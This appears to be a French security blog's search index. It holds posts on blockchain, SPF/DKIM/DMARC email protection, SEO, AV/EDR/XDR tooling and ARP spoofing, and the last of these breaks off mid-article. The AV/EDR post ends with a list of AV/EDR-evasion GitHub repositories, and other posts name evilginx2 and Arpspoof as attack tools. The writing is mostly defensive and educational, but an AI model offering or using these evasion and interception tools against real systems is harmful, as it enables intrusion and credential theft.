confidentialité totale, rendant les transactions indéchiffrables et non liées à un individu. Diversité des objectifs :\nMonnaies numériques : Bitcoin, Litecoin et d\u0026rsquo;autres ont été conçus principalement comme des monnaies numériques pour faciliter les transactions en ligne. Plateformes de développement : Ethereum, EOS et Cardano sont des exemples de plateformes conçues pour le développement d\u0026rsquo;applications décentralisées. Confidentialité : Monero, Zcash et Dash sont axés sur la fourniture de transactions privées. Stablecoins : Des cryptomonnaies comme USDC, Tether et DAI sont conçues pour avoir une valeur stable, généralement liée à une monnaie fiduciaire comme le dollar américain. Autres objectifs : Il existe des cryptomonnaies pour presque tous les cas d\u0026rsquo;utilisation, de la finance décentralisée (DeFi) à la propriété d\u0026rsquo;actifs numériques comme les NFTs (tokens non fongibles). Les tokens ERC-20 sur Ethereum : # ERC-20 est un standard ou une interface pour les tokens sur la blockchain Ethereum. \u0026ldquo;ERC\u0026rdquo; signifie \u0026ldquo;Ethereum Request for Comment\u0026rdquo;, et \u0026ldquo;20\u0026rdquo; est le numéro attribué à cette proposition spécifique.\nLes tokens ERC-20 doivent implémenter un ensemble spécifique de fonctions, ce qui garantit que les différents logiciels, applications et autres tokens peuvent interagir avec eux de manière prévisible. Ces fonctions incluent, entre autres, totalSupply, balanceOf, transfer, transferFrom, approve et allowance.\nUtilisations courantes : Représentation d\u0026rsquo;actifs : Les tokens ERC-20 peuvent représenter une variété d\u0026rsquo;actifs, tels que des actions d\u0026rsquo;une entreprise, des points de fidélité, ou même des monnaies stables liées à la valeur d\u0026rsquo;une monnaie fiduciaire. Moyens d\u0026rsquo;échange : Ils peuvent être utilisés comme monnaie au sein d\u0026rsquo;une application décentralisée ou comme moyen d\u0026rsquo;échange entre utilisateurs. Levées de fonds : Les Initial Coin Offerings (ICO) ont souvent utilisé des tokens ERC-20 pour lever des fonds pour de nouveaux projets. La subtilité entre les tokens et les cryptomonnaies # La différence entre un token et une cryptomonnaie : # Toutes les cryptomonnaies sont des tokens, mais tous les tokens ne sont pas des cryptomonnaies. Une cryptomonnaie est une monnaie numérique utilisée pour les transactions. Un token, en revanche, peut représenter n\u0026rsquo;importe quel actif ou utilité sur une blockchain. Par exemple, un token pourrait représenter une part dans une entreprise, un droit de vote, ou un accès à un service.\nLes différences principales sont les suivantes :\nBlockchain indépendante vs Blockchain existante : Les cryptomonnaies ont généralement leur propre blockchain, tandis que les tokens sont émis sur des blockchains existantes (basée sur du eth par exp). Utilité vs Valeur : Bien que les cryptomonnaies soient principalement utilisées comme monnaies, les tokens peuvent avoir une variété d\u0026rsquo;utilités et de cas d\u0026rsquo;utilisation. Un token peut, par exemple, donner accès à une fonction spécifique d\u0026rsquo;une application décentralisée. Émission et gestion : Les cryptomonnaies sont généralement émises dans le cadre du processus de minage (comme le Bitcoin), tandis que les tokens sont souvent émis lors d\u0026rsquo;ICO (Initial Coin Offerings) ou d\u0026rsquo;autres formes de levées de fonds, ou tout simplement lors du lancement d\u0026rsquo;un token random qui a une \u0026ldquo;utilité\u0026rdquo;. Les tokens non fongibles (NFTs) et leur unicité : # Un NFT est un type de token numérique qui représente un objet ou un élément unique sur une blockchain. Contrairement aux tokens fongibles, comme les cryptomonnaies classiques ou les tokens ERC-20, chaque NFT est distinct et ne peut pas être échangé à parité avec un autre NFT. La principale caractéristique des NFTs est leur unicité. Chaque NFT a des informations ou des métadonnées uniques qui le distinguent des autres. Cette unicité est vérifiée et sécurisée par la blockchain, garantissant la provenance et l\u0026rsquo;authenticité de l\u0026rsquo;objet numérique. Globalement, il s\u0026rsquo;agit du standard ERC-721 qui définit un ensemble min de fonctions pour la gestion et l\u0026rsquo;interrogation de NFTs en donnant un ID unique.\nDans l\u0026rsquo;ensemble, ça reste assez spéculatif.\n","date":"15 janvier 2023","permalink":"/dev-posts/blockchain/","section":"Dev-Posts","summary":"Dans cet article, nous plongeons dans le monde fascinant de la blockchain. Découvrez comment cette technologie révolutionnaire fonctionne, pourquoi le minage est essentiel, et les nuances entre différentes cryptomonnaies. Aucune connaissance préalable n\u0026rsquo;est nécessaire, juste une curiosité pour le monde numérique.","title":"Comprendre la Blockchain : De la Cryptographie au Minage"},{"content":"","date":"15 janvier 2023","permalink":"/tags/dapps/","section":"Tags","summary":"","title":"DApps"},{"content":"","date":"15 janvier 2023","permalink":"/tags/ethereum/","section":"Tags","summary":"","title":"Ethereum"},{"content":"","date":"15 janvier 2023","permalink":"/tags/minage/","section":"Tags","summary":"","title":"Minage"},{"content":"","date":"14 janvier 2023","permalink":"/tags/authentification/","section":"Tags","summary":"","title":"Authentification"},{"content":"","date":"14 janvier 2023","permalink":"/cyber-posts-general/","section":"Cyber-Posts-Generals","summary":"","title":"Cyber-Posts-Generals"},{"content":"","date":"14 janvier 2023","permalink":"/tags/email/","section":"Tags","summary":"","title":"Email"},{"content":" Introduction # Contexte # Dans notre monde numérique, la sécurité des e-mails est devenue une préoccupation majeure. Les e-mails sont souvent la cible d\u0026rsquo;attaques telles que l\u0026rsquo;usurpation d\u0026rsquo;identité et le phishing, où les attaquants se font passer pour des entités légitimes pour tromper les destinataires. Ces attaques peuvent entraîner des pertes financières, des atteintes à la réputation et des violations de données.\nComment arrêter l\u0026rsquo;email spoofing/phishing ? # Arrêter l\u0026rsquo;usurpation d\u0026rsquo;identité et le phishing nécessite une combinaison de mesures de sécurité, notamment l\u0026rsquo;implémentation de protocoles tels que SPF, DKIM et DMARC. Ces protocoles authentifient les e-mails et empêchent les attaquants de se faire passer pour des expéditeurs légitimes.\nL\u0026rsquo;exemple ci-dessous par exemple est un cas réel de phishing où l\u0026rsquo;attaquant fait croire à l\u0026rsquo;utilisateur qu\u0026rsquo;il a une connexion possible sur son compte Google et demande la validation ou non qui sera suivie d\u0026rsquo;une page de re-connexion. Ainsi il pourra récupérer à la fois les identifiants mais aussi par le biais d\u0026rsquo;un outil tel que evilginx2 par exemple bypass la double authentification.\nExemple réel phishing Google Fonctionnement du SMTP (explication de l\u0026rsquo;envoi d\u0026rsquo;un email à la réception) # SMTP (Simple Mail Transfer Protocol) est le protocole standard pour l\u0026rsquo;envoi d\u0026rsquo;e-mails. An SMTP server is an application or computer that sends, receives and relays email. These servers typically use TCP on port 25 or 587.\nLe protocole SMTP (Simple Mail Transfer Protocol) est au cœur de la communication par e-mail. Un serveur SMTP est une application ou un ordinateur qui envoie, reçoit et relaie les e-mails, utilisant généralement le TCP sur les ports 25 ou 587. Ces serveurs sont toujours à l\u0026rsquo;écoute et initient une connexion au port 25 dès qu\u0026rsquo;ils détectent une connexion TCP d\u0026rsquo;un client pour envoyer l\u0026rsquo;e-mail. Les serveurs SMTP sortants envoient des messages pour les utilisateurs, et les clients de messagerie, qui sont utilisés pour lire et envoyer des e-mails, doivent également avoir l\u0026rsquo;adresse IP du serveur SMTP. Pour gérer des problèmes tels que le spam, les administrateurs de serveurs doivent contrôler quels clients peuvent utiliser le serveur, soit en restreignant les utilisateurs par leur adresse IP, soit en imposant une authentification.\nLe fonctionnement de SMTP suit un modèle client-serveur, en suivant le schéma suivant :\nUn serveur de messagerie utilise SMTP pour envoyer un message d\u0026rsquo;un client de messagerie à un autre serveur de messagerie, puis utilise SMTP comme service de relais pour envoyer l\u0026rsquo;e-mail au serveur de messagerie récepteur. Le serveur récepteur utilise ensuite un client de messagerie pour télécharger le courrier entrant via IMAP, par exemple, et le place dans la boîte de réception du destinataire. Lorsqu\u0026rsquo;un utilisateur clique sur le bouton \u0026ldquo;envoyer\u0026rdquo;, une connexion TCP est établie qui se lie à un serveur SMTP. De là, le client SMTP indique au serveur quoi faire avec des informations telles que les adresses e-mail de l\u0026rsquo;expéditeur et du destinataire et le contenu de l\u0026rsquo;e-mail. Un agent de transfert de courrier (MTA) vérifie ensuite si les deux adresses e-mail sont du même domaine. Si c\u0026rsquo;est le cas, l\u0026rsquo;e-mail est envoyé ; sinon, le serveur utilise le système de noms de domaine (DNS) pour identifier le domaine du destinataire et l\u0026rsquo;envoie au serveur correct. Le destinataire utilise ensuite les protocoles IMAP ou POP3 pour recevoir l\u0026rsquo;e-mail. Livraison protocol Définition des termes # SMTP (Simple Mail Transfer Protocol) : est un protocole utilisé pour envoyer des e-mails d\u0026rsquo;un serveur à un autre. Il fonctionne en établissant une connexion TCP avec le serveur de messagerie du destinataire, généralement sur les ports 25 ou 587, et en relayant l\u0026rsquo;e-mail. SMTP est responsable de l\u0026rsquo;envoi d\u0026rsquo;e-mails, mais pas de leur réception. POP3 (Post Office Protocol 3) : est un protocole utilisé pour récupérer les e-mails d\u0026rsquo;un serveur de messagerie. Contrairement à IMAP, POP3 télécharge les e-mails sur l\u0026rsquo;appareil du client et les supprime généralement du serveur. Cela signifie que les e-mails ne sont pas synchronisés entre différents appareils, et une fois téléchargés, ils ne sont disponibles que sur l\u0026rsquo;appareil qui les a téléchargés. IMAP (Internet Mail Access Protocol) : est un protocole qui permet aux clients de messagerie de récupérer des messages d\u0026rsquo;un serveur de messagerie. Contrairement à POP3, IMAP laisse les messages sur le serveur, permettant une synchronisation entre différents appareils. Cela signifie que vous pouvez accéder à vos e-mails depuis n\u0026rsquo;importe quel appareil, et les actions telles que la suppression ou le marquage d\u0026rsquo;un e-mail sont reflétées sur tous les appareils. SPF (Sender Policy Framework) : est un protocole de sécurité e-mail qui aide à prévenir l\u0026rsquo;usurpation d\u0026rsquo;identité. Il fonctionne en vérifiant l\u0026rsquo;adresse IP de l\u0026rsquo;expéditeur contre une liste d\u0026rsquo;adresses IP autorisées dans un enregistrement DNS du domaine de l\u0026rsquo;expéditeur. Si l\u0026rsquo;adresse IP correspond, l\u0026rsquo;e-mail est considéré comme légitime. Cela empêche les attaquants de se faire passer pour des expéditeurs légitimes. DKIM (DomainKeys Identified Mail) : est un autre protocole de sécurité e-mail qui authentifie les e-mails en ajoutant une signature cryptographique à l\u0026rsquo;en-tête de l\u0026rsquo;e-mail. Le serveur du destinataire compare cette signature avec une clé publique dans le DNS de l\u0026rsquo;expéditeur pour vérifier l\u0026rsquo;authenticité de l\u0026rsquo;e-mail. Cela assure que l\u0026rsquo;e-mail n\u0026rsquo;a pas été modifié en cours de route et renforce la légitimité de l\u0026rsquo;expéditeur. DMARC (Domain-based Message Authentication, Reporting \u0026amp; Conformance) : est un protocole qui utilise SPF et DKIM pour authentifier les e-mails et fournit des rapports sur les tentatives d\u0026rsquo;usurpation d\u0026rsquo;identité. Il fonctionne en vérifiant les résultats des contrôles SPF et DKIM et en appliquant une politique spécifiée par l\u0026rsquo;expéditeur, comme rejeter ou mettre en quarantaine les e-mails échouant aux contrôles. DMARC offre une protection complète et fournit des informations détaillées sur les tentatives d\u0026rsquo;usurpation d\u0026rsquo;identité, aidant ainsi les organisations à protéger leurs communications par e-mail. SPF # Fonctionnement # SPF fonctionne en comparant l\u0026rsquo;adresse IP de l\u0026rsquo;expéditeur avec une liste d\u0026rsquo;adresses IP autorisées dans un enregistrement DNS du domaine de l\u0026rsquo;expéditeur. Si l\u0026rsquo;adresse IP correspond, l\u0026rsquo;e-mail est considéré comme légitime. Fonctionnement SPF Avantages de SPF # Prévention de l\u0026rsquo;usurpation d\u0026rsquo;identité : Bloque les e-mails provenant d\u0026rsquo;expéditeurs non autorisés. Amélioration de la délivrabilité : Réduit la probabilité que les e-mails légitimes soient marqués comme spam. Mise en oeuvre de SPF # Identifier les serveurs autorisés : Liste des adresses IP autorisées à envoyer des e-mails pour votre domaine. Créer un enregistrement SPF : Ajouter un enregistrement SPF à votre DNS avec les adresses IP autorisées. Tester l\u0026rsquo;enregistrement SPF : Utiliser des outils de test pour vérifier que l\u0026rsquo;enregistrement SPF fonctionne correctement. v=spf1 ip4:1.2.3.4 ip4:2.3.4.5\nDKIM # Fonctionnement # DKIM fonctionne en ajoutant une signature cryptographique à l\u0026rsquo;en-tête de l\u0026rsquo;e-mail. Le serveur du destinataire compare cette signature avec une clé publique dans le DNS de l\u0026rsquo;expéditeur pour vérifier l\u0026rsquo;authenticité de l\u0026rsquo;e-mail.\nFonctionnement DKIM Avantages de DKIM # Authentification des e-mails : Assure que l\u0026rsquo;e-mail n\u0026rsquo;a pas été modifié. Renforcement de la réputation : Aide à établir la légitimité de l\u0026rsquo;expéditeur. Mise en oeuvre de DKIM # Générer une paire de clés : Créer une clé privée pour signer les e-mails et une clé publique à publier dans le DNS. Configurer le serveur de messagerie : Configurer votre serveur de messagerie pour signer les e-mails avec la clé privée. Publier la clé publique : Ajouter un enregistrement DKIM à votre DNS avec la clé publique. Tester la configuration : Utiliser des outils de test pour vérifier que DKIM fonctionne correctement. Pour postfix par exemple, l\u0026rsquo;idéal c\u0026rsquo;est d\u0026rsquo;utiliser la CLI opendkim comme indiqué sur le tutorial suivant\nDMARC # Fonctionnement # DMARC fonctionne en vérifiant les résultats des contrôles SPF et DKIM et en appliquant une politique spécifiée par l\u0026rsquo;expéditeur (comme rejeter ou mettre en quarantaine les e-mails échouant aux contrôles).\nFonctionnement DMARC Avantages de DMARC # Protection complète : Utilise SPF et DKIM pour une authentification robuste. Rapports détaillés : Fournit des informations sur les tentatives d\u0026rsquo;usurpation d\u0026rsquo;identité. Mise en oeuvre de DMARC postfix # Configurer SPF et DKIM : Assurez-vous que SPF et DKIM sont correctement configurés. Créer une politique DMARC : Définir une politique DMARC (rejeter, mettre en quarantaine ou aucun) et les adresses de rapport. Ajouter un enregistrement DMARC : Ajouter un enregistrement DMARC à votre DNS avec la politique et les adresses de rapport. Surveiller les rapports : Analyser les rapports DMARC pour détecter et réagir aux tentatives d\u0026rsquo;usurpation d\u0026rsquo;identité. Pour postfix par exemple, l\u0026rsquo;idéal c\u0026rsquo;est d\u0026rsquo;utiliser la CLI opendmarc comme indiqué sur le tutorial suivant\nMeilleures pratiques et outils # Combinaison SPF, DKIM et DMARC # Utiliser SPF, DKIM et DMARC ensemble offre une protection complète contre l\u0026rsquo;usurpation d\u0026rsquo;identité et le phishing. Chaque protocole ajoute une couche de sécurité, et leur combinaison assure que les e-mails sont à la fois authentifiés et non altérés.\nOutils et services # Il existe de nombreux outils et services qui facilitent la mise en œuvre de SPF, DKIM et DMARC, tels que des vérificateurs d\u0026rsquo;enregistrement, des générateurs de clés et des plateformes de surveillance.\nPour SPF :\nmxtoolbox check Pour DKIM :\nmxtoolbox ietf Pour DMARC :\nmxtoolbox mimecast Conseils et astuces # Tester avant de déployer : Utilisez des outils de test pour vérifier vos configurations avant de les mettre en production. Surveiller régulièrement : Surveillez vos rapports et vos journaux pour détecter rapidement les problèmes. Mettre à jour les enregistrements : Gardez vos enregistrements SPF, DKIM et DMARC à jour pour refléter les changements dans vos serveurs de messagerie. ","date":"14 janvier 2023","permalink":"/cyber-posts-general/email-configuration/","section":"Cyber-Posts-Generals","summary":"Cet article explore les protocoles SPF, DKIM et DMARC, qui sont essentiels pour authentifier et sécuriser les emails. Il offre un guide complet pour comprendre, mettre en œuvre et tirer parti de ces protocoles afin de prévenir l\u0026rsquo;usurpation d\u0026rsquo;identité et le phishing dans les communications par email.","title":"SPF, DKIM, DMARC : Protéger les Emails Contre l'Usurpation et le Phishing"},{"content":" Introduction # Le référencement naturel, plus communément appelé SEO (Search Engine Optimization), est l\u0026rsquo;art et la science de rendre les pages web attrayantes pour les moteurs de recherche. C\u0026rsquo;est bien plus qu\u0026rsquo;une simple optimisation pour les moteurs de recherche : c\u0026rsquo;est une véritable stratégie pour comprendre et répondre aux besoins des utilisateurs.\nHistoriquement # Un Bref Historique du SEO # Le SEO a débuté avec les premiers moteurs de recherche dans les années 1990. Depuis, il a évolué en parallèle avec les avancées technologiques et les changements d\u0026rsquo;algorithme des moteurs de recherche. Aujourd\u0026rsquo;hui, le SEO est une discipline complexe qui englobe la technique, le contenu, la structure des sites, la popularité et l\u0026rsquo;expérience utilisateur.\nPourquoi le SEO est-il Essentiel ? # Visibilité : Il permet à votre site d\u0026rsquo;apparaître dans les résultats de recherche pertinents. Crédibilité : Un site bien classé est souvent perçu comme plus fiable. Trafic : Le SEO augmente le trafic organique, souvent associé à un taux de conversion plus élevé. Compétition : Dans un monde numérique compétitif, le SEO est un avantage essentiel. Comment le SEO a Évolué ? # Le SEO est passé de la simple insertion de mots-clés à une discipline englobant la qualité du contenu, l\u0026rsquo;expérience utilisateur, la compatibilité mobile et bien d\u0026rsquo;autres aspects.\nLes Meilleures Pratiques SEO # Alignez Votre Contenu avec l\u0026rsquo;Intention de Recherche Comprenez l\u0026rsquo;intention derrière chaque requête de recherche. Créez du contenu qui correspond à cette intention. Utilisez des Mots-clés Principaux Chaque page doit cibler un mot-clé principal. Utilisez ce mot-clé dans les éléments tels que le titre, les en-têtes et l\u0026rsquo;URL. On peut se baser par exemple sur le guide de semrush par exemple. Rédigez des Balises de Titre et des Méta-descriptions Convaincantes Utilisez des titres et des méta-descriptions attrayants et pertinents. Incluez votre mot-clé principal. Meta title/description Optimisez Vos Images Choisissez le bon format de fichier. Compressez vos images. Fournissez un texte alternatif (alt text). Faites du lazy loading des images. Comparaison d\u0026rsquo;images Il faut aussi garder en tête que Selon Google, les images WebP sans perte sont 26 % plus petites que les PNG et 34 % plus petites que les JPEG comparables. Optimisez la Vitesse de Chargement de Votre Site Utilisez des outils comme Google PageSpeed Insights pour analyser et améliorer la vitesse de chargement. Exemple de rapport de Google PageSpeed Construisez une Structure de Lien Interne Utilisez des liens internes pour établir une hiérarchie d\u0026rsquo;informations. Évitez les erreurs de liaison interne. Il est aussi possible de voir l\u0026rsquo;internal linking et la structure à partir du résultat PageSpeed par exemple. Améliorez l\u0026rsquo;Expérience Utilisateur (UX) Utilisez des en-têtes et des sous-en-têtes. Rendez votre contenu visuellement attrayant. Évitez les pop-ups intrusifs. Rendez votre site mobile-friendly. Rendez Vos URL SEO-Friendly Utilisez des URL courtes. Incluez votre mot-clé cible. Organisez vos URL de manière logique. Exemple de bonne url seo friendly Construisez des Backlinks de Qualité Obtenez des backlinks de sites réputés. Répliquez les stratégies de backlink de vos concurrents. Créez un Contenu Utile Publiez du contenu original et utile. Résolvez des problèmes complexes et partagez des perspectives uniques. Astuces Peu Connues # Optimisation pour la Recherche Vocale : Adaptez votre contenu à la recherche vocale en ciblant des mots-clés conversationnels. SEO Vidéo : Transcrivez vos vidéos et optimisez les méta-descriptions pour améliorer leur visibilité. Citations SEO Locales : Assurez-vous que vos informations (Nom, Adresse, Numéro de téléphone) sont cohérentes sur toutes les plateformes. SEO pour React.js # Outils pour Auditer le SEO # Google Analytics : Pour suivre le comportement des utilisateurs. SEMrush : Pour l\u0026rsquo;analyse des concurrents et la recherche de mots-clés. Moz : Pour l\u0026rsquo;analyse des liens et l\u0026rsquo;optimisation on-page. Screaming Frog : Pour les audits SEO techniques.\n","date":"13 janvier 2023","permalink":"/dev-posts/seo-optimization/","section":"Dev-Posts","summary":"De l\u0026rsquo;historique du SEO aux meilleures pratiques actuelles, en passant par des astuces peu connues et des outils d\u0026rsquo;audit, cet article offre une vue d\u0026rsquo;ensemble complète et détaillée du référencement naturel, essentiel pour toute personne cherchant à réussir en ligne.","title":"Le Guide Ultime du SEO : De ses Origines à ses Pratiques Modernes"},{"content":"","date":"13 janvier 2023","permalink":"/tags/moteurs-de-recherche/","section":"Tags","summary":"","title":"Moteurs De Recherche"},{"content":"","date":"13 janvier 2023","permalink":"/tags/r%C3%A9f%C3%A9rencement-naturel/","section":"Tags","summary":"","title":"Référencement Naturel"},{"content":"","date":"13 janvier 2023","permalink":"/tags/seo/","section":"Tags","summary":"","title":"SEO"},{"content":"","date":"12 janvier 2023","permalink":"/tags/av/","section":"Tags","summary":"","title":"AV"},{"content":" Introduction # La cybersécurité est un domaine en constante évolution, avec de nouveaux défis et menaces émergents chaque jour. Pour faire face à ces menaces, diverses solutions de sécurité ont été développées, notamment l\u0026rsquo;Antivirus (AV), la Détection et Réponse sur les Endpoints (EDR), la Détection et Réponse Étendue (XDR) et la Détection et Réponse Étendue Gérée (MXDR). Dans cet article, nous explorerons en détail chacune de ces solutions, comment elles fonctionnent et quelles sont les principales différences entre elles.\nVue Globale # Antivirus (AV) # Définition # L\u0026rsquo;antivirus est une solution logicielle conçue pour détecter, prévenir et éliminer les logiciels malveillants. Il se base principalement sur des signatures pour identifier et bloquer les menaces. Bien que l\u0026rsquo;AV soit essentiel, il est souvent considéré comme une défense de base car il ne peut pas détecter des menaces avancées ou inconnues.\nFonctionnement # L\u0026rsquo;AV utilise des signatures pour identifier les logiciels malveillants. Il scanne les fichiers à la recherche de ces signatures et bloque ou met en quarantaine les fichiers suspects.\nEndpoint detection and response (EDR) # Définition # Un endpoint est un point d\u0026rsquo;extrémité ou une entrée dans un réseau. Cela peut être un ordinateur, un smartphone, une tablette ou tout autre appareil connecté à un réseau.\nEDR : L\u0026rsquo;EDR est une solution qui surveille en permanence les activités sur les endpoints pour détecter, enquêter et répondre aux menaces. Contrairement à l\u0026rsquo;AV qui se concentre sur la prévention, l\u0026rsquo;EDR offre une visibilité et un contrôle continus sur les menaces potentielles, permettant une réponse rapide.\nFonctionnement # L\u0026rsquo;EDR surveille en continu les activités sur les endpoints, collecte des données, détecte les anomalies et permet aux équipes de sécurité d\u0026rsquo;enquêter sur les incidents.\nExtended detection and response (XDR) # Définition # L\u0026rsquo;XDR est une évolution de l\u0026rsquo;EDR. Il s\u0026rsquo;étend au-delà des endpoints pour inclure d\u0026rsquo;autres sources de données telles que les serveurs, les réseaux, les emails et les applications cloud. L\u0026rsquo;XDR utilise l\u0026rsquo;intelligence artificielle et le machine learning pour corréler les données de différentes sources, offrant ainsi une meilleure détection des menaces et une réponse plus rapide.\nFonctionnement # L\u0026rsquo;XDR collecte des données de diverses sources, telles que les endpoints, les charges de travail cloud, les emails et les réseaux. Il utilise l\u0026rsquo;IA et le machine learning pour analyser ces données, détecter les menaces en temps réel et y répondre automatiquement.\nPoint d\u0026rsquo;attention # SOAR (Security Orchestration \u0026amp; Automated Response) permet aux équipes (matures disposant à minima d\u0026rsquo;un SOC bien mature) de créer/exécuter des playbook (avec Ansible par exemple) d\u0026rsquo;automatiser des actions de sécurité. Une plateforme SOAR est complexe, coûteuse et nécessite un SOC très mature pour mettre en œuvre et maintenir les intégrations et les playbooks de partenaires. L’XDR est à considérer comme un « SOAR léger » : une solution simple, intuitive et sans code qui permet d’agir de la plateforme XDR aux outils de sécurité connectés.\nManaged Extended detection and response (MXDR) # Définition # Le MXDR est une version gérée de l\u0026rsquo;XDR. Il combine les capacités de l\u0026rsquo;XDR avec des services gérés par des experts en sécurité. Cela signifie que non seulement la technologie est fournie, mais aussi une équipe d\u0026rsquo;experts qui surveille en permanence les menaces, enquête sur les incidents et y répond. C\u0026rsquo;est une solution clé en main pour les organisations qui ne disposent pas de ressources internes suffisantes pour gérer la sécurité.\nFonctionnement # Le MXDR combine les capacités de l\u0026rsquo;XDR avec des services gérés, offrant une protection 24/7 avec une expertise dédiée.\nDifférences clés # Portée et Intégration # AV : Se limite à la détection de malwares basée sur des signatures. Fonctionne souvent de manière isolée. EDR : Se concentre sur les endpoints, offrant une visibilité et un contrôle continus. Peut s\u0026rsquo;intégrer avec d\u0026rsquo;autres outils de sécurité. XDR : Couvre une gamme plus large, intégrant des données de multiples sources pour une meilleure corrélation et détection. MXDR : Offre tout ce que l\u0026rsquo;XDR offre, mais avec l\u0026rsquo;ajout de services gérés, offrant une expertise 24/7. Capacités de détection et de réponse # AV : Détecte les menaces basées sur des signatures, donc souvent peut être bypass si l\u0026rsquo;attaquant est motivé et compétent. EDR : Détecte les anomalies sur les endpoints, permettant une enquête et une réponse rapides. XDR : Détecte les menaces en temps réel à partir de diverses sources, offrant une réponse automatisée. MXDR : Détecte les menaces avec l\u0026rsquo;aide d\u0026rsquo;experts en sécurité, offrant une réponse rapide et experte, donc plus pertinente souvent sur les mesures prises. Avantages et Limitations # AV : Simple, mais peut ne pas détecter les menaces avancées. EDR : Offre une meilleure visibilité sur les endpoints, mais peut être limité en termes de portée. XDR : Offre une détection et une réponse étendues, mais peut nécessiter des ressources pour gérer la solution. MXDR : Offre une solution complète avec des experts, mais peut être plus coûteux. Bonus : Bypass Antivirus/EDR # Il y a différentes sources, l\u0026rsquo;article n\u0026rsquo;ayant pas pour objectif de s\u0026rsquo;intéresser à cette partie, je vais plutôt juste lister différentes sources sur le bypass AV/EDR, il y aura d\u0026rsquo;autres articles qui se focuseront principalement sur le bypass de ses sécurités :\nhttps://github.com/wavestone-cdt/EDRSandblast https://github.com/hlldz/RefleXXion https://github.com/RedTeamOperations/Journey-to-McAfee https://github.com/tanc7/EXOCET-AV-Evasion https://github.com/naksyn/Pyramid https://github.com/Yaxser/Backstab/ https://github.com/klezVirus/inceptor https://github.com/klezVirus/inceptor ","date":"12 janvier 2023","permalink":"/cyber-posts-general/av-edr-xdr/","section":"Cyber-Posts-Generals","summary":"Cet article explore les protocoles SPF, DKIM et DMARC, qui sont essentiels pour authentifier et sécuriser les emails. Il offre un guide complet pour comprendre, mettre en œuvre et tirer parti de ces protocoles afin de prévenir l\u0026rsquo;usurpation d\u0026rsquo;identité et le phishing dans les communications par email.","title":"AV vs EDR vs XDR vs MXDR : Comprendre les Solutions de Cybersécurité Modernes"},{"content":"","date":"12 janvier 2023","permalink":"/tags/edr/","section":"Tags","summary":"","title":"EDR"},{"content":"","date":"12 janvier 2023","permalink":"/tags/protection/","section":"Tags","summary":"","title":"Protection"},{"content":"","date":"12 janvier 2023","permalink":"/tags/xdr/","section":"Tags","summary":"","title":"XDR"},{"content":"","date":"11 janvier 2023","permalink":"/tags/arp-spoofing/","section":"Tags","summary":"","title":"ARP Spoofing"},{"content":"","date":"11 janvier 2023","permalink":"/tags/arpspoof/","section":"Tags","summary":"","title":"Arpspoof"},{"content":"","date":"11 janvier 2023","permalink":"/cyber-posts-vulnerabilities/","section":"Cyber-Posts-Vulnerabilities","summary":"","title":"Cyber-Posts-Vulnerabilities"},{"content":"","date":"11 janvier 2023","permalink":"/tags/dhcp-snooping/","section":"Tags","summary":"","title":"DHCP Snooping"},{"content":" Introduction # L\u0026rsquo;ARP spoofing est une technique d\u0026rsquo;attaque sophistiquée qui exploite le protocole ARP, un élément fondamental des réseaux Ethernet. En manipulant ce protocole, un attaquant peut rediriger le trafic sur un réseau local, créant ainsi une série de risques et de vulnérabilités. Cette introduction a pour but de poser les bases de l\u0026rsquo;ARP spoofing, de ses mécanismes, de ses implications et de la manière de le détecter et de le prévenir.\nFonctionnement ARP # Le protocole ARP (Address Resolution Protocol) est utilisé pour associer une adresse IP à une adresse MAC sur un réseau local. Lorsqu\u0026rsquo;une machine souhaite communiquer avec une autre sur le même réseau, elle doit connaître son adresse MAC. Si elle ne la connaît pas, elle envoie une requête ARP.\nFonctionnement ARP ARP Spoofing # L\u0026rsquo;ARP spoofing, également connu sous le nom de ARP poisoning, est une technique d\u0026rsquo;attaque dans laquelle un individu malveillant envoie de fausses réponses ARP (Address Resolution Protocol) sur un réseau local. Ces réponses falsifiées peuvent permettre à l\u0026rsquo;attaquant d\u0026rsquo;associer sa propre adresse MAC (Media Access Control) à l\u0026rsquo;adresse IP (Internet Protocol) d\u0026rsquo;une autre machine sur le réseau. En conséquence, tout le trafic destiné à l\u0026rsquo;adresse IP cible est redirigé vers l\u0026rsquo;attaquant, permettant l\u0026rsquo;interception, la modification ou même le blocage des données. L\u0026rsquo;ARP spoofing peut être utilisé pour l\u0026rsquo;écoute clandestine, le man-in-the-middle (MITM) ou les attaques de déni de service (DoS), et représente une menace sérieuse pour la sécurité et l\u0026rsquo;intégrité des communications sur un réseau local.\nFonctionnement ARP spoofing Implications et Conséquences # Interception de Données : l\u0026rsquo;attaquant peut écouter toutes les données transmises entre les machines, y compris les informations sensibles comme les mots de passe et les détails financiers. Modification de Données : l\u0026rsquo;attaquant peut non seulement écouter mais aussi modifier les données en transit, créant des possibilités de fraude et de désinformation. Indisponibilité : en bloquant la communication entre les machines, l\u0026rsquo;attaquant peut rendre les services inaccessibles, ce qui peut avoir un impact sur les opérations commerciales. Comment Découvrir si un SI y est Vulnérable # Analyse du Réseau : Des outils comme Wireshark peuvent être utilisés pour surveiller le trafic ARP et détecter des anomalies, telles que des réponses ARP multiples pour une même adresse IP. Scanners de Sécurité : Des scanners spécialisés peuvent être utilisés pour tester la vulnérabilité à l\u0026rsquo;ARP spoofing, fournissant ainsi un rapport détaillé sur les risques potentiels. Par exemple : XArp Exploitation # L\u0026rsquo;attaquant, étant sur le même réseau local (non pas par exemple sur un VLAN VPN), peut envoyer des réponses ARP non sollicitées, associant son adresse MAC à l\u0026rsquo;adresse IP d\u0026rsquo;une autre machine. Cela conduit les autres machines à envoyer le trafic destiné à l\u0026rsquo;adresse IP cible à l\u0026rsquo;attaquant.\nOutils d\u0026rsquo;Attaque Des outils spécifiques comme Arpspoof peuvent être utilisés pour lancer l\u0026rsquo;attaque, permettant à l\u0026rsquo;attaquant de spécifier les cibles et de contrôler le trafic.\nVoici un tutoriel détaillé qui explique le déroulement d\u0026rsquo;une attaque :\nhttps://tutorialedge.net/security/arp-spoofing-for-mitm-attack-tutorial/ Prévention et Atténuation # Tables ARP Statiques : il est possible de mapper statiquement toutes les adresses MAC d\u0026rsquo;un réseau à leurs adresses IP respectives. Cette méthode est très efficace pour prévenir les attaques d\u0026rsquo;ARP Poisoning, mais elle ajoute une charge administrative énorme. Tout changement dans le réseau nécessitera des mises à jour manuelles des tables ARP sur tous les hôtes, rendant les tables ARP statiques irréalisables pour la plupart des grandes organisations. Néanmoins, dans des situations où la sécurité est cruciale, créer un segment de réseau séparé où les tables ARP statiques sont utilisées peut aider à protéger les informations critiques.\nSécurité des Switchs\nLa plupart des switchs Ethernet gérés disposent de fonctionnalités conçues pour atténuer les attaques d\u0026rsquo;ARP Poisoning. Généralement connues sous le nom de Dynamic ARP Inspection 